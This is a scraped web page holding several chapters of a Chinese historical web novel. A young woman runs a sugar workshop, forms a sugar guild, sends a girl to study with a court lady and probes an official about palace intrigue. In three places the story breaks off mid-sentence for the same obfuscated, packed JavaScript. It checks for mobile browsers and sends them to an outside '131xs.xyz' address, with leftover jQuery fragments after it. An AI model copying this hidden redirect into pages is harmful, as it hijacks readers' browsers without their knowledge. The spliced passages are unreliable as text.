人在屋檐下，何况还是王爷家屋檐，艾从雪站在原地，祈祷对方不要认出她。 李鸣铮走过来围着艾从雪绕了一圈，只觉得眼熟，却是怎么也想不起来：“你是何人？” 语气十分不客气，吓得小丫直往艾从雪背后钻。 小厮打圆场道：“世子爷，这是大娘子的客人。” “阿姐的客人？” 李鸣铮皱着眉，突然大声道：“你是找玄序的那个人？” 艾从雪眼皮抽搐，眯起眼笑着回道：“世子爷好记性。” “那这？”李鸣铮指着她身后的小丫，眼睛在她俩身上来回转，吸了口凉气，嘴都快合不上：“这是玄序的孩子？” 这话一出，四周静的像死了人。 “世子爷怕是想茬了，这是我外甥。”艾从雪手搭在小丫肩膀，扯出一抹笑打破这场面。 听见这，李鸣铮的脸垮下来，全然没了先前容光焕发的样子，随后不知从哪摸出个折扇。 唰地抖开，扬声问道：“那你和玄序怎么样了？” 真是生怕别人不知道。 艾从雪眨眨眼，想起昨日玄序夜探艾家，落荒而逃的场景，若无其事道：“挺好的，他回心转意了。” 李鸣铮拍手叫好：“没想到玄序那么快回心转意，娘子好手段！” 艾从雪脸都笑僵了，一口白牙怕是要着凉：“那世子爷先忙，民女带着孩子去找大娘子。” 说完牵上小丫，跟紧小厮，前往李迎秋那。 小丫慢吞吞地跟在艾从雪后面，低着头，后脑勺两个小辫直冲天。 她数过上百块青砖，直至被李迎秋的声音惊醒，这才抬起头，看向坐在软榻上的女子。 长的好像菩萨，她会不会拿出玉净瓶往自己头上洒几滴仙露？ “李娘子。”艾从雪行礼，小丫紧忙像模像样地跟着行了一礼。 有些不标准，还好菩萨没有怪罪。 还未抬头，就听见李迎秋勾唇轻笑道：“这就是那孩子吧。” 声音也像菩萨一样温柔。 李迎秋看着小丫的模样，把她拉到身边，语调轻快：“都学过什么？” 小丫偷偷瞄了李迎秋一眼，脆生生答道：“《识字启蒙》已经学完。” 李迎秋把小丫抱到座位上，同时示意艾从雪也坐。 “那我问你，人这个字是什么意思？” “书上说人是能直立行走的万物之灵。”小丫一板一眼的复述书上的话。 “不要书上的，要你自己的理解。”李迎秋颇有耐心地引导。 “有不能走路的人。”小丫低下头不自在地盯着自己的翘起的脚，够不着地，此刻她与旁人无二。 继而闷声道：“人会问为什么，就像我会问阿娘为什么天会黑，为什么会下雨……” “那你会问为什么你是女子吗？” 小丫想到什么，掰着手指头数道：“为什么女子不能进书院？为什么女子不能科举？为什么女子不能和男子一样？为什么女子不能当皇帝……” 艾从雪一把捂住她的嘴，前几句能讨李迎秋欢心，但这最后一句可是杀头的罪。 小丫见艾从雪如此慌张，也认识到自己说错话，眼睛慌张地左顾右盼，紧紧靠着艾从雪。 “童言无忌，李娘子赎罪。”艾从雪拉住小丫的手，指尖发颤。 李迎秋看着小丫，没有说话。 艾从雪的心却提到嗓子眼，先前她虽招摇，但都是在律法之内，如今小丫这一句话，已经越界。 李迎秋摆摆手，示意没事：“你叫小丫？还未取名吗？” 艾从雪吐出一口浊气，这才发觉后背早就被冷汗浸湿。 “阿娘……阿娘不识字，她说等我大了，自己取个喜欢的名字。” “是个开明的。”李迎秋眼里的满意已经溢出，抬头对艾从雪道：“这孩子不错，只是我明日又要进宫，你可放心把这孩子交在我手上？” 艾从雪眼底划过一丝惊异，却是有犹豫道：“李娘子心善，民女感激不尽，只不过……要与小丫阿娘商量商量，毕竟孩子还小。” 李迎秋思索许久，说道：“你们先商量，束脩免了，小丫如此聪慧，能教她是我之幸。若是同意，来成王府传个消息就成。” “多谢李娘子体恤。” 话音未落，李迎秋手指轻扣梨花木桌面，目光转向艾从雪，悲天悯人似的眼睛里藏有秘密。 艾从雪会意，对小丫道：“小丫你先在这等一会好不好？我和李娘子出去一下。” 屋外青竹依旧，深秋的温度并未给它带来影响，绿意盎然，风姿俊秀，恰如文人风骨。 二人一前一后踏出房门，艾从雪有些不明所以，开口问道：“李娘子这是？” 李迎秋却是面色如常，微微颔首：“只是看见小丫，想起一个孩子。” 说着又自嘲一笑：“也是我自作多情，这孩子应当与我不甚熟悉。” “孩子？” 李迎秋看向窗台的寒兰：“这细叶寒兰，花瓣尖锐锋利，艾娘子可知民间又叫它什么？” 说完不等艾从雪回答，转身从屋中取出一幅画像：“又叫将军兰。” 李迎秋进屋取出一幅小像，是个男子：“这是那孩子父亲，周才良。” “因受贿被处死的周将军？” “那孩子眉尾和画上人一样有颗痣。方才我见小丫也有，一时有些恍惚了。” “他姓甚名何？” 李迎秋并未回答艾从雪的问题，而是问道：“小丫这脚，是怎么……” 明明小丫在屋中听不见她们对话，李迎秋还是低声细语的。 连着艾从雪也悄声回道：“听小丫阿娘说，是生她时动了胎气，先天不足，加上难产，产婆为了保活，生生拽出来的，这才……” 李迎秋摆弄寒兰的手突然攥紧花茎，白玉般的指节泛起青白：“女子生产如过鬼门关……” 她抬眼望向皇宫方向，声音轻得像叹息：“当年大皇子出生时，皇后殿下也是难产，如此艰难竟还有贼人诬陷大皇子眼盲是因为不是亲生。” 李迎秋气上头，意识到失态，以手掩唇，话锋一转问道：“听闻万老板与玄序乃姐弟。” 艾从雪眼神闪烁，没有直接回答：“可是有什么事？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15408417|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李迎秋轻抚被她折断的寒兰，悠悠开口道：“无事，只是觉着你与万老板关系不错，想必和玄序也是相识的。” 李迎秋到底在试探什么？ 艾从雪一路上都在思索李迎秋那几句随意的话。 入冬的天，风都不似先前温和，野马般嘶鸣着，狠狠撞在身上，随着这风声，艾从雪头脑愈发清明。 这几日许巧兰刚学了霜糖的制法，还在艾家制糖，艾从雪一眼就望见她的身影。 “许姐姐，有一事需要同您商量。” 许巧兰粗糙又布满裂痕的手刮了刮衣服：“啥事？小丫的吗？” 艾从雪点点头：“有女夫子愿意教小丫，不用学费，只是夫子让小丫随她进宫。” “皇宫？”许巧兰感觉自己要晕过去了，她女儿竟然能进宫学习，那可是皇帝住的地方！ “没错，只是可能会十天半个月都见不到小丫。”艾从雪不知道李迎秋到底要在皇宫内如何教小丫，因此不敢下保证。 许巧兰缓过神后则有些忧虑，抚着胸口道：“会不会出事？咱无权无势的，突然摊上这喜事，我心里砰砰的。” “我也是担心这，才没有当场应下，夫子是成王家大娘子李迎秋，想来还是有些信誉的。” 许巧兰认同地点点头，又道：“我懂得少，都听艾娘子的。” “行，不过许姐姐，小丫父亲是谁，怎么都没怎么听你提过。” “制糖的呗，怎么提起这事了？” “就是夫子夸小丫聪明，许姐姐精通数术，想来姐夫是在文学上颇有天赋了。” 许巧兰摇摇头道：“大字不识一个的庄稼汉。” 她手在围裙上蹭了蹭，指着墙角道：“艾娘子，甘蔗又要用完，明日甘蔗应当会降价，娘子记得去买。” “许姐姐怎么知道的？” 许巧兰不好意思地笑笑，粗糙黝黑的脸上泛起一丝红：“之前家里没钱，我自己琢磨的，天晴阳光好甘蔗不易坏，就便宜些。” 许巧兰当真心细，艾从雪没怎么注意过这细枝末节，眼下她一说这才了然。 第二日带着庄图南买甘蔗时还真应了许巧兰的话，今天的甘蔗比之前一斤便宜一铜板。 不过码头还不止这事，今日来了装着胡族货物的船。 艾从雪看着船上那一箱箱商品，向旁边码头帮工询问：“大哥，最近怎么那么多胡族的货？” 那人一见艾从雪问这，那可来了劲，吐掉嘴里的草茎：“要停战！要我说这京城的消息还得看咱这些人，天南海北的货都过这，消息灵着嘞。” 艾从雪闻言一惊，这打了那么多年的仗竟然要停战。 “为何会停战？”一旁的庄图南皱着眉头询问，“胡族缺少过冬用品，不应该趁着最后的时间多抢些吗？” “你这娃子，怎么还盼着打仗！”那人骂骂咧咧的走了，不想和庄图南多说一句话。 留下庄图南和艾从雪面面相觑。 “你说话太直了。”艾从雪默默出声道。 庄图南一脸无辜地看着艾从雪：“我说的是实话，胡族必定别有用心。” 艾从雪点点头表示赞同：“我也觉得不对劲，你很有当将军的天赋，我也有。” “娘子又在说笑。” “将军也没有好下场啊，他们权贵的争斗，我们无法改变也改变不了，只能多攒点钱。” 19. 商会 听雨楼的糖霜雪梨卖得极好，甚至举一反三制出许多新品，一时间风头无量，隐隐有盖过月来酒楼之势。 万柳人逢喜事精神爽，瞧着人都年轻了不少。 艾氏糖坊也跟着在京城出了名。 “阿姐，这李迎秋到底是个什么人？”艾从雪拿起柜台上的花生，塞进嘴里。 “可是找夫子的事谈拢了？” “还没呢，这不觉着你消息灵通，来找您问问。”这花生用油榨后裹了糖浆，艾从雪眼前一亮，“阿姐这厨子真不错。” 万柳被艾从雪肯定，笑得合不拢嘴，又拿来其他菜品：“来，尝尝这个，卖得可好了。” 随后给艾从雪解释道：“李迎秋是京城有名的才女，不怎么露面，但诗作可是受不少追捧。 要不是我万柳还有点骨气，前几日知道李迎秋的身份后，就把她每月都来我这吃饭的事说出去了，保准有许多慕名而来的客人。” “还是阿姐会做生意。” 万柳压低声音在艾从雪耳边说：“孙群你知道吧，上一任监察官。” 艾从雪眼睛一转，停下手中动作：“这二人有联系？” “孙群曾和李迎秋有婚约，后面他不是被辞了吗，这婚约也不了了之。”万柳走出柜台，把艾从雪拉到一边。 “被辞？”艾从雪秀眉一紧，似是抓到什么头绪，“这李迎秋不是朝中女官吗？” “对，忘了这事了。”万柳一拍手，“她刚及笄就进宫当了皇后身旁的女官，本来是等着年纪大些与孙群成婚的，谁知道孙群先被贬了。” 皇后这是要拉拢孙群？艾从雪分析着其中利弊：“这不会引得皇帝忌惮吗？” “这话可不兴说，从雪慎言。”万柳压住艾从雪的手，止住她的话头，又怕艾从雪多想，“说不定孙群就是怕惹火烧身。” 艾从雪讪讪一笑：“那李迎秋可靠吗？她让家里那孩子跟她进宫。” “若说可不可靠，应当是可以的。成王是我朝唯一一个异姓王，还是有威望的。”万柳思索着，想到什么，调侃道：“除了出了个李鸣铮。” 艾从雪回忆起他那日当街纵马：“确实……” “那多谢阿姐了。”艾从雪盈盈一拜。 “别急着走。”万柳拦住艾从雪，神色严肃，“你可知边疆之事？” 艾从雪有些怪异为何万柳提起这事，不明所以道：“好像要停战？” “要和亲，胡族求娶我朝公主。”万柳双手环胸斜靠在墙上。 “没听过皇家还有公主啊。” 艾从雪只知这华朝皇帝仅有两子，都是皇后所生，大皇子眼盲，二皇子则顺理成章成了储君，公主却是未曾听闻。 “没有，就造一个呗。”万柳万分八卦，恨不得马上把这个消息昭告天下，又碍于是皇室秘闻，只能偷偷摸摸诉说。 “据说是圣上亲口定下的，听闻胡族要停战，立刻答应使臣的请求，皇后可是生了好大一通气。” “不知道是哪个可怜人。”艾从雪有些唏嘘，公主和亲，可没几个有好下场的。 “这世道哪有容易的。” “两国和亲，边疆通商应当容易些，那我可就要快马加鞭生产了。”艾从雪敏锐地发现了这里的商机。 说是快马加鞭，但艾从雪钱不多，权也没有，不过是稍微有了些名。 京城那么多家糖坊，大家自扫门前雪，没几个人对艾从雪的宣传感兴趣，并不相信她能好心把秘方拿出来。 况且之前艾从雪被月来酒楼针对，更是不想和她多有接触。 艾从雪挨家挨户宣传，一连试了几家，都没给她好脸色。 也只得搬出监察司令牌一用，自玄序上任之后，监察司在民间声誉还是不错的 “明日未时，城南别院，可学到高品质赤糖做法，童叟无欺。” 说完拿出令牌一摆，不少糖户心下一定，信了艾从雪的话。 艾从雪面色平静，指尖接着袖口摩挲着，望着院内攒动的人头，十几个人，比预想的还要少。 见再无人到场，她扬起惯用的笑容： “诸位想必都是为制糖而来。”尾音刻意拖长半拍。 “自然，不然谁有空来这。” “就是，快点说，我还要回家制糖。” 艾从雪看着下面人吵闹的样子，微微一笑：“诸位不要急，且看我这赤糖如何。” 一旁过来打下手的庄图南拿着陶罐，在众人面前转了一圈，给每人分出些。 “这糖晶莹剔透，怪不得月来酒楼眼红。” “艾娘子，快告诉我等这是如何制的吧。” “艾娘子人美心善，如今还愿意告诉我们制糖秘方。” 艾从雪没理会他们突变的嘴脸，伸出根手指：“只是有一个条件。” 接着拿出一张契书：“只有入商会者才能得到这秘方。” “什么是商会？” “众人互帮互助，此后商会中的糖价由我们定夺。” “莫急。” 艾从雪看着兴致高昂的众人，泼了一桶冷水。 “入会需要缴纳一两银子，入会三月没被踢出商会的，三月后可得到这糖霜制作方法。而且，第一个月，需要分出一半时间来我这学习制糖方法。” 众人噤了声，这一两银子可不是小数目，一个月分出一半时间，他们自家糖坊可就收益减半。 艾从雪挑眉看向庄图南。 庄图南拿着块糖霜在众人面前近距离，糖霜在阳光照射下光彩夺目，在众人瞳孔里映出贪婪的火焰。 终有一人按耐不住，“这是听雨楼推出的糖霜雪梨之糖？” “不错。”艾从雪投以赞赏的目光。 那人继续问道：“入商会还有什么要求？” “只要遵守商会规矩，我提供技术，卖出的糖记账，之后我抽一成利。这技术保证大家收入翻一番。京中听雨楼的糖就是艾家提供，大家想必都知道。” “我入了！”那人高声道，直接掏出一两银子，放到艾从雪手中。 “有魄力！”艾从雪随后说道：“此次只有十人入会名额，一月后开放第二批。入会者签订这契书就好。” 只有十人？ 此话一出，不少人没了先前泰然自若的模样。 一个佝偻着背的老汉挤出人群，枯枝般的手颤巍巍捧着一块碎银，衣衫上补丁摞着补丁：“艾娘子，我这银子是给孙儿抓药的钱……但老汉信你！” 艾从雪宣传时本没想着考虑他，毕竟年纪大了，制糖这活需要力气。 可是看见他挑着担，走街串巷吆喝时还是动了恻隐之心。 艾从雪抿唇点头，沉声道：“我艾从雪绝不会辜负诸位。” “我入！” “我也入！” 十个名额瞬间占满。 “诸位相信从雪，是从雪之幸。”艾从雪对这些人拱手行礼，“还请诸位明日再来此地。” “我们看在监察司的面子上入的，可不要干些卸驴杀磨的事。” “自然。” 艾氏糖坊算是今日起步。 艾从雪拎着十两银子，感慨真是钱生钱，这一会儿竟能赚得十两，要放之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426638|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前她可得辛辛苦苦干一个月。 拿着这十两就去请人在这院子修灶台。 有钱能使鬼推磨，本来好多天能修好的灶台，一夜之间速成。 这院子堂屋里整整齐齐修了五六个灶台，侧房用来给工人休息，院子里直接放甘蔗。 暖阳爬上天空，风都是和煦的，正适合大干一场。 新买的甘蔗上还带着晨露的湿气，青皮裂口处渗出甘蔗特有的清甜气息，斜倚在灰墙上，宛若一柄柄长枪，直指苍天。 艾从雪站在甘蔗旁，看着昨日入会的十人陆陆续续进门。 “你们且先让我见识见识你们如何处理甘蔗的如何？” 艾从雪摆出从别家借来的榨蔗机，这些都是世面上常见的。 众人跃跃欲试，但一人显然十分犹豫。 艾从雪注意到那人，走近道：“刘大哥可是有疑虑。” 先前签契书时艾从雪就记下了所有人的名字，此刻一眼认出这人叫刘二。 刘二慌乱地摇摇头，抿唇道：“这榨蔗方法不都是每家有每家的法子吗？” “哦？”艾从雪来了兴趣，“这么说，刘大哥有更好的法子？” 其他几人见状立刻起哄：“刘二你可别那么小气，如今我们都签了契书，可是一个绳上的蚂蚱。” 艾从雪抬手压下几人的起哄，厉声道：“艾氏糖坊不会觊觎糖户秘方，相应的，我会把艾家秘方教给诸位，这是我的底气。” “当然，大家如今签了契书，一荣俱荣一损俱损，如果想让糖坊变好也是十分欢迎。” 接着艾从雪搬来昨日新做的牌匾，上面刻着金碧辉煌的四个大字——京城糖会。 “这是新名字。”艾从雪指着上面的字念道：“京城糖会，咱是京城之中的糖户，如若还叫艾氏糖坊那属于忘了大家共同的努力，我艾从雪是知恩图报之人，所以命人打了这牌匾。” 此话一出，原本觉着自己这般是为他人做嫁衣的糖户，心里的疙瘩俨然被抚平。 “艾娘子大义，当真是巾帼不让须眉！”不知谁开口说的第一句，后面皆是恭维声。 刘二面子有些过不去，咬咬牙狠心道：“大家如此团结，我刘二也不能当个缩头乌龟，且让大家看看我刘家榨糖绝技。” “好！”艾从雪第一个带头鼓掌，“若是比艾家方子还要好，我艾从雪做主，奖给刘大哥十两银子！此后我得的钱，分给刘大哥一成。” 刘二听见这不可谓眼前一亮，当时他交那一两银子，还是死要面子活受罪，看大家都上了，他刘老二不上可不是让人看不起。 对此，回家时他媳妇还把他臭骂一顿，一两银子当得上他家半个月的花费。 虽说制糖挣钱，可他家为了多卖些钱在城中租的铺子，一个月要交不少钱，还是散户，没什么供应渠道，一月能挣四两还有二两是买原料交房租。 “好！那就让大家开开眼！” 刘二撸起袖子，挑了个榨蔗机就开干。 动作行云流水，老旧的榨汁机，在他手下发出苏醒的嘶吼，咬住甘蔗，反复撕扯，焕发出从未有过的生机。 “好方法！”艾从雪看着榨出来的那桶甘蔗汁，比自家榨蔗机榨出的还要多上几分，当即拿出十两交到刘二手上。 刘二反复摩挲这冰凉的银子，心中却是热气上涌：“多谢艾娘子！艾娘子有魄力！” “若还有人有更好的法子，一人奖励七两，得一分利。”艾从雪看向剩下的几人，“刘二是第一人，多奖励三两，大家可否认同？” “自然无异议。”其余几人纷纷应和。 20. 交锋 “大家先按照刘二的法子榨甘蔗，等会儿我会告诉诸位艾家秘方。” 艾从雪眉眼带笑，眼底却没有笑意。 众人点头称是，热火朝天地榨甘蔗，恨不得下一秒就能知道艾从雪口中的秘方。 “刘二，你那家传手艺确实不错啊！” “刘大哥真是仗义。” 刘二如今俨然成了众人称赞的对象，第一次受那么多夸奖。 不好意思地挠挠头，枯瘦的脸上不知是干活热的还是怎的，泛起红晕，露着个大牙道：“应该的，应该的。” 一人扭头时正好瞅见艾从雪，面露疑惑道：“艾娘子拿这石灰干什么？” “石灰？” 剩下的人听见动静，抬起头张望着。 “难不成要往里面放石灰？还能吃吗？” 艾从雪没有说话，当着几人的面，把半瓢石灰倒进一桶甘蔗汁里：“石灰碱性，蔗汁性酸，二者相互调和，杂质自然沉淀。” “这是秘方？莫不是诓我们的。” “没了没了！”离得最近的人扒着桶，恨不得整个人钻进去，大声嚷嚷道。 艾从雪错开位置，其余几人见缝插针，伸长脖子看着那桶甘蔗汁。 “这就是艾家赤糖晶莹剔透的原因。”艾从雪清透的声音在喧哗中响起。 声音并不大，却让众人静了下来。 “当真如此简单？”说话的人宽脸圆鼻头，一张嘴充满了朴实憨厚，“艾娘子不怕我们说出去？” “说出去？”艾从雪踱步到石灰旁，抓起一把石灰，“诸位签了契书不说，从雪背后的监察司也不是吃干饭的。” 石灰穿过手缝漏进甘蔗汁，被缓缓吞没：“况且……这石灰不过是我掌握的技术中，最简单一环。” “诸位都是有远见之人，应是不会捡了芝麻丢西瓜。”艾从雪提高声调，锐利的眸子扫过众人。 “如今咱京城糖会第一批成员十数人，都是支柱，刘大哥第一个贡献自家秘方，且当这第一批的组长如何？” “敢问艾娘子，这组长是什么？”刘二如今以艾从雪马首是瞻，见她提到自己，开口问道。 “你们是京城糖会第一批成员，组长就是管理第一批成员的。” “当然，其他人也不要丧气，拉来新糖户入会后你们就能管理那些糖户，成为他们的组长。而糖户交的一两银子，也归你们所有。” 艾从雪新取张宣纸，写下字据，利落地盖上手印：“以此为证，若我艾从雪食言，任由诸位处置。” 这一番话下来，众人摩拳擦掌，恨不得多拉几个人过来。 艾从雪看着他们的表情，眼底掠过丝欣喜，渡过前期阶段后，用挣的钱请些工人运作起来，银子金子必会如流水般入账。 本着贪多嚼不烂的原则，艾从雪准备过几日再传授糖户们熬糖的方法，一切安排妥当后，庄图南留在这里监督，她则是回了家。 刚进门就见许巧兰在给赤糖装罐，虽说皱眉撇嘴，脸黑得像炭，手下还是稳稳当当。 “许姐姐，这是怎么了？”艾从雪走近问道，顺手拿起块赤糖，迎着日光验了下成色。 许巧兰见艾从雪过来，想笑又笑不出，扯着嘴角道：“不知哪来的孙子，当着小丫的面，说她是瘸子。” 艾从雪捏紧赤糖，此刻面色也如许巧兰一样了，直到赤糖因温度过高黏在手上，才缓过神。 “许姐姐莫生气，如今这糖坊离了谁都行，就是离不开许姐姐。我等会儿去和小丫聊聊。” “艾娘子夸张了，小丫的事，让您费心了。”许巧兰接过艾从雪手中的糖放进陶罐，“要我知道是谁，我非撕烂他的嘴。” “我应当的，许姐姐实打实的为糖坊好，我都是看得见的，那甘蔗钱，糖钱，可不都是许姐姐在弄？” 艾从雪拉住她的手，感慨道：“论做生意，我可是比不上许姐姐的。我顶多算是个手艺人。” “是艾娘子给了我一个机会，不然我这副样子，只能零零散散卖些糖维持生活，哪有现在的情形。”许巧兰心口一热，怒气被认可冲淡许多 “眼下还有一活，许姐姐要不要试试？”艾从雪适时抛出自己原本的目的。 “何事？” “京城糖会的总簿。” 许巧兰的数术天赋可不能埋没，艾氏糖坊的小账算不了什么，这糖会是真需要许巧兰。 “京城糖会？” “是我刚成立的，联合糖商的商会，这几天就在忙这呢。”艾从雪解释道。 许巧兰想起前几日艾从雪说要买地：“艾娘子当真是雷厉风行，不过我许巧兰也不是个磨蹭的，艾娘子认可我，我就试试！” “许姐姐答应就好，我还怕你不同意呢。”艾从雪莞尔一笑，微微颔首道：“那我先去看看小丫。” “小丫的事，还请艾娘子多劳心，我这就把钥匙给你。” 小丫此刻正坐着个小板凳在院子读书，板凳是许巧兰亲手做的，书是庄图南给她买的。 “小丫又在看书啊。”艾从雪目光柔和，笑着说道。 “艾娘子！”小丫抬起头，眼睛又大又圆，亮亮的。 “可是从书上发现什么好东西？”艾从雪蹲下，靠着她问道。 “我找到图南姐姐的名字了！”小丫快速翻过几页，手指着书上一处。 “那你知道这是什么意思吗？” 小丫摇摇头，两个小辫一晃一晃的：“不知道。但我也想要这样的名字。” 艾从雪摸摸小丫的头，仿佛看到了之前的自己：“等你完全理解了书中的意思后，就给自己起一个怎么样？” 小丫握紧拳头，语气昂扬：“我要起个最好的名字！” “起个天上地下，最最厉害的名字！那小丫想不想跟着李娘子学习？” “想！李娘子像菩萨一样！” 孩童的话里带着纯真，只是这菩萨当真是菩萨吗？艾从雪想起她似是而非的话语。 “那你先等一等，过几天送你去好不好？” “好！”小丫激动的跳了起来，艾从雪连忙扶住她，生怕她摔倒。 艾从雪揪着小丫的辫子，抬头看向天边，神情严肃。 红日饱满圆润如坟，吊在天上。 她一身白衣似雪，站在檐下。 “这位娘子，大人已经回府。” “可否带路？”艾从雪拿出玄序的令牌，眼神掠过监察司高耸的青墙——如狱中围栏，遮云蔽日。 “就在监察司后头。” 艾从雪颔首致谢，缓步走向玄府。 “你来此何事？”玄序语气一如既往地冷冽。 “无事就不能来寻大人了吗？”艾从雪轻笑一声，挑眉看向玄序。 玄序不置可否，放下手中的狼毫笔：“自是可以。” 艾从雪指尖轻抚书案，目光掠过玄序身后墨色屏风，唇角微扬：“大人可认识……周清？” 人如其名，这屋中一切都暗沉沉的，艾从雪为在糖户面前显得可靠，特意换的一身白衣，倒成唯一的亮色。 玄序抬眼望向艾从雪，像是要把她盯出一个洞：“你从哪知道的这个名字。” “秘密。”艾从雪俯身，手指抵唇在玄序耳畔轻语。 玄序眉眼低垂，肌肉不自觉绷紧：“离李迎秋远点，她不好惹。” “大人跟踪我。”艾从雪沉声询问，侧首瞥向玄序，语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440056|166802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气却并无任何意外。 “李迎秋背后是皇后。”玄序喉结滚动，沉声道。 “我自然知道。”艾从雪直起身，手指轻弹书案上的香炉，“她来找我恐怕有玄序大人您的原因吧。或许，我能帮您？” 玄序深吸一口气，说道：“四年前，周才良受贿伏诛，满门抄斩，周清乃其子嗣。” 艾从雪点头，毫不客气地坐上书案：“所以此后边疆再无人能挡胡族铁骑。” “是圣上的意思。”看着艾从雪的背影，玄序起身走到她面前，解释道。 “周清已经死了？”艾从雪不信，若是已死，那李迎秋为何偏偏询问她这。 她盯着玄序眉眼旁的红痣，抬眸问道：“周清多大年纪？” “不知。”玄序轻哼一声，并不想多说，“当年行刑的是孙群。” 又是孙群，艾从雪眉头紧皱：“如今我上了大人这条船，还能下去吗？” 玄序拿起桌上写满字迹的纸，放在烛台，任由火舌将它吞噬：“只能淹死。” 艾从雪长睫轻颤，喃喃道：“君要臣死，臣不得不死。” “周将军确实有罪，只是不该那时候死。赵启急了。”纸张化为灰烬，玄序声音低沉。 艾从雪手撑桌面，扬起下巴看着玄序——风姿俊秀，眉目艳丽。 “大人直呼圣上名讳，可是死罪。” “我不该这时候死。”玄序垂眸与她对视，眼里的情绪艾从雪看不透，“你已经陷进来，出不去了。” “孙元？孙群？”艾从雪低声轻语，“家破之仇不能不报。” “你和李迎秋？都是因为这吗？”艾从雪眉眼低垂，忽地抬头道，“周清你当真不识？” “不识，四年前我不过刚入仕。如何见到这人？” “你为何认识李迎秋？” “孙群未婚妻，皇后的得力干将。” “皇后手那么长？用自己心腹拉拢孙群？” “却被孙群退婚。” “孙群知道什么？” “不知。” “你知道什么？” “皇后手可遮天。” “那我可要抛弃你抱她的大腿了。” 玄序碧绿眸子如狼一样看向艾从雪：“那你走不出这监察司。” “被大人囚禁吗？大人好雅兴。”艾从雪若无其事调笑道。 玄序透过香炉飘烟模糊地看清她的眉眼，终于从中捕捉到一丝慌乱。 “人之常情。”他薄唇轻启，吐出几个暧昧字眼。 “你什么时候会死？”艾从雪与玄序对视，二人仿佛隔着万重纱，让人琢磨不透。 “明天，或者明年，亦或是真正该死的时候。”玄序缓缓说出这句话。 艾从雪站起身，走近玄序，笑出声：“大人可真是有意思。只是，我要送小丫去皇后那。” “皇后于我有恩，我只是想知道答案。”玄序垂眸，手不自觉隔着衣物触碰心口的玉坠。 艾从雪盯着那处，忽地靠近，鼻息打在玄序脖颈：“皇上皇后二人于华朝所有人都有恩，是我们的衣食父母……” 玄序嗤笑一声：“倒不必这样恭维。” “不是吗？君君臣臣父父子子，君臣如父子。”艾从雪再次试探，伸手压住玄序肩膀，旋身，将他按在书案上。 低头道：“难道玄大人不是臣子吗？” 玄序并无反抗之意，听到这句话却握手成拳，挣脱艾从雪，手上青筋暴起：“不是。” 艾从雪单手抱臂，手指轻敲手肘，挑眉道：“民女先行告退，想来小丫若是入宫，大人的愿望不久就会实现。” 玄序站在原地静静地看着唯一的亮色消失。 21. 燕岚 李迎秋看着小丫，感慨道：“这孩子必有大作为。” “民女只希望她一生顺遂。” 李迎秋嘴角僵了一瞬，继而道：“自然。” 李迎秋本意并不在于收小丫为学生，不过是见其天资聪颖起了爱才之心。 她不过是奉皇后之命寻找周清，不过皇后只给了个名字，神仙怕是也找不到，这小丫就当是将功赎罪了。 燕岚端坐于紫檀木太师椅，目光定定地看着琉璃瓶中枯萎的花束。 李迎秋牵着小丫跨过门槛的瞬间，她眼波微动，桃花眼天生含情，威严却铺了满地。 李迎秋跪伏在地，燕岚走下来，伸手虚扶她臂弯：“不必如此多礼。” “殿下，周清一事，臣能力不足。”李迎秋惶恐道，即使与燕岚相处近十年，情同母女，她还是为自己能力不足而感到惭愧。 “这孩子是何人？”燕岚并没在意李迎秋说的话，抬眸问道。 “这是艾家的孩子。天资聪颖，臣起了惜才之心，这才带来。” “难为你有心了，知道燕华要走，给她找了个接班的。” “不过却是棋差一招，所找之人远在天边近在眼前，燕华已经先于我禀报，你和她的比试可是输了。” 李迎秋指尖掐入掌心：“莫非？”她忽地转头看向小丫。 燕岚摇头轻笑，接过怀青递来的茶盏，声音平缓：“我记得，你们的彩头是？” “书信一封。” 燕岚笑容漫进茶雾：“真是年纪大了，你们这些孩子的弯弯绕绕，比前朝的奏折还要难懂，你且去问问燕华，这周清是何模样。” “殿下春秋鼎盛，不要妄自菲薄。” “春秋鼎盛？”燕岚眼底晦暗不明，“我想要的，不只是你这一句夸赞。” “不说这了，让我来看看这个小丫。”燕她手腕轻抬，招来小丫。 “真是许久没见过小孩了，这一看真是感新鲜。” “你就叫小丫？可有别的名字？” 小丫仰头望着燕岚，若说李迎秋在她眼中是菩萨般慈眉善目，那燕岚就是艾从雪说过的西王母。 豹尾虎齿，掌管天地生死。 小丫幼鹿般的眼睛不停晃动，小声道：“我还没给自己起。” “有意思，这世上哪个孩子不是父母起名？那你可有喜欢的字？”燕岚摸了摸小丫的头，似是在安抚。 “还没学到。”小丫摇摇头，紧紧揪着衣服，声音有些发颤，“艾娘子说等我把《庄子》全都搞懂了再挑。” 燕岚轻笑一声：“真是不会藏啊，还是说等着我发现？” 